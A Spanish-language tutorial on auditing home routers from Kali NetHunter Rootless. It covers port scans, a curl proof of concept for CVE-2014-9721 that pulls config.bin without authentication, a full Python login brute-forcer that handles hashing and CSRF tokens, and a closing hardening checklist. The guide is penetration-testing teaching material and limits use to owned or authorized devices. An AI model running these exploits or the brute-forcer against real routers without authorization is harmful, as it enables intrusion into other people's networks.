Manual de Auditoría de Routers Domésticos (Entorno Kali NetHunter Rootless)
Autor: Sammi De Blas - SysAdmin & Cybersecurity Specialist. Objetivo: Evaluar la seguridad de dispositivos de red (CPE) desde un dispositivo móvil Android sin acceso Root completo.
1. Preparación del Entorno (Troubleshooting Inicial)
En entornos NetHunter Rootless, no tenemos acceso directo al Kernel de Android ni a “Raw Sockets”. Esto cambia las reglas del juego.
1.1. Diagnóstico de Conectividad
Si ping funciona a IP (8.8.8.8) pero falla apt update, es un problema de DNS o permisos de Android.
Solución DNS:
echo "nameserver 8.8.8.8" > /etc/resolv.confSolución Permisos (Usuario _apt):
usermod -a -G aid_inet,aid_net_raw _apt1.2. Herramientas Necesarias
Instalar suite moderna (iproute2) y diccionarios básicos.
sudo apt updatesudo apt install iproute2 net-tools python3-requests nmap nikto hydra2. Fase de Descubrimiento (Reconnaissance)
Limitación Técnica: En Rootless, el escaneo SYN (-sS) y la detección de OS (-O) fallan por falta de permisos. Debemos usar TCP Connect Scan.
2.1. Escaneo de Puertos “Sigiloso” (User-Space)
Usamos -Pn para evitar el ping ICMP (que requiere root) y -sT para usar conexiones completas del sistema operativo.
Comando:
nmap -Pn -sT --top-ports 100 --open -vvv [IP_ROUTER](Ejemplo IP: 10.10.10.1)
2.2. Identificación de Servicios (Banner Grabbing)
Una vez detectados puertos abiertos (ej: 80, 443), interrogamos la versión del software.
Comando:
nmap -Pn -sT -sV --version-intensity 5 -p 80,443 [IP_ROUTER]Qué buscar en la salida:
-
Nombre del servidor (Ej: ZTE web server, RomPager, MicroHttpd).
-
Año del Copyright (Ej: 2015 indica software obsoleto).
3. Análisis de Vulnerabilidades
3.1. Búsqueda en Bases de Datos
Con la versión del servidor, buscamos exploits conocidos.
searchsploit ZTE F660searchsploit [MARCA_DETECTADA]3.2. Verificación de CVE-2014-9721 (Config Disclosure)
Común en routers antiguos. Intenta descargar config.bin sin autenticación. Prueba de Concepto (PoC):
curl -v -X POST -d "config=" "http://[IP_ROUTER]/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" -o config.bin-
Éxito: Archivo de >20KB.
-
Fallo: Error 404 o archivo de <1KB.
3.2. Escaneo web general (Nikto)
Busca archivos por defecto y configuraciones inseguras.
nikto -h http://[IP_ROUTER] -Tuning 94. Fase de Explotación (Acceso al Panel)
Si no hay vulnerabilidades críticas, atacamos la autenticación.
4.1. Análisis del Formulario de Login
Usar curl para identificar los nombres de los campos (name=“Username”, name=“Frm_Password”).
curl -s http://[IP_ROUTER] | grep -i "<input"4.2. Evasión de Criptografía Client-Side
Muchos routers modernos hashean la contraseña en JavaScript antes de enviarla, así que Hydra falla: el formulario no recibe la contraseña en claro. La solución es reproducir el mismo calculo del navegador (texto plano, MD5 y SHA256) y gestionar la cookie de sesión y el token CSRF.
Script mínimo, guardado como audit_router.py:
import hashlib
import re
import sys
import requests
TARGET_URL = "http://10.0.0.1/" # sustituir por la IP del equipo
USERS = ["admin", "user", "root"]
PASSWORDS = ["admin", "1234", "123456", "admin123"]
TIMEOUT = 5
def get_token(session):
"""Extrae el token CSRF del formulario de login."""
r = session.get(TARGET_URL, timeout=TIMEOUT)
m = re.search(r'id="_sessionTOKEN" value="(.*?)"', r.text)
return m.group(1) if m else ""
def brute_force():
for user in USERS:
for password in PASSWORDS:
session = requests.Session()
token = get_token(session)
if token is None:
print("[!] No se pudo leer el token, revisar la URL")
return
variantes = [
password,
hashlib.sha256(password.encode()).hexdigest(),
hashlib.md5(password.encode()).hexdigest(),
]
for intento in variantes:
data = {
"Username": user,
"Password": intento,
"_sessionTOKEN": token,
}
r = session.post(TARGET_URL, data=data, timeout=TIMEOUT, allow_redirects=False)
sys.stdout.write(".")
sys.stdout.flush()
# 302 o redireccion a la pagina interna = credenciales validas
if r.status_code == 302 or "Frm_Username" not in r.text:
print("
[+] Acceso conseguido: " + user + " / " + password)
return
print("
[-] Sin exito con el diccionario usado")
if __name__ == "__main__":
brute_force()Notas de uso:
- Solo contra un router propio o con autorización escrita. Un panel de administración de CPE ajeno es acceso no autorizado.
- Ajustar la URL, los nombres de los campos (
Username,Password,_sessionTOKEN) y el diccionario al modelo concreto. - Limitar los intentos: los CPE domesticos bloquean o reinician con decenas de peticiones seguidas.
- Si el firmware usa un hash propio en vez de MD5/SHA256, hay que leer el
.jsdel login y replicar la función.
5. Recomendaciones y cierre
5.1. La prueba de la pegatina
Siempre verificar la etiqueta inferior.
-
Si la clave de la etiqueta funciona → Riesgo Medio (Acceso físico compromete la red).
-
Si la clave de la etiqueta es la misma que la del Wi-Fi → Riesgo Crítico (Cualquiera con el Wi-Fi entra al router).
5.2. Checklist de configuración una vez dentro
Revisar estos puntos para asegurar el router:
-
[ ] UPnP: Debe estar DESACTIVADO. (Permite abrir puertos sin autenticación).
-
[ ] DMZ: Debe estar VACÍO. (Expone un equipo a todo internet).
-
[ ] Remote Management (WAN): Debe estar DESACTIVADO. (Nadie debe poder entrar desde fuera de casa).
-
[ ] WPS: Debe estar DESACTIVADO. (Vulnerable a ataques Pixie Dust/Fuerza Bruta).
-
[ ] Logs: Verificar si el router registra los intentos de acceso fallidos.
Notas finales para Kali NetHunter Rootless
-
No Wi-Fi Hacking: No intentar airmon-ng o captura de Handshakes (requiere Root/Kernel Mode).
-
No ARP Spoofing: No intentar MITM a nivel 2.
-
Enfoque: La auditoría debe centrarse en la Capa de Aplicación (Web/HTTP) y configuración del dispositivo.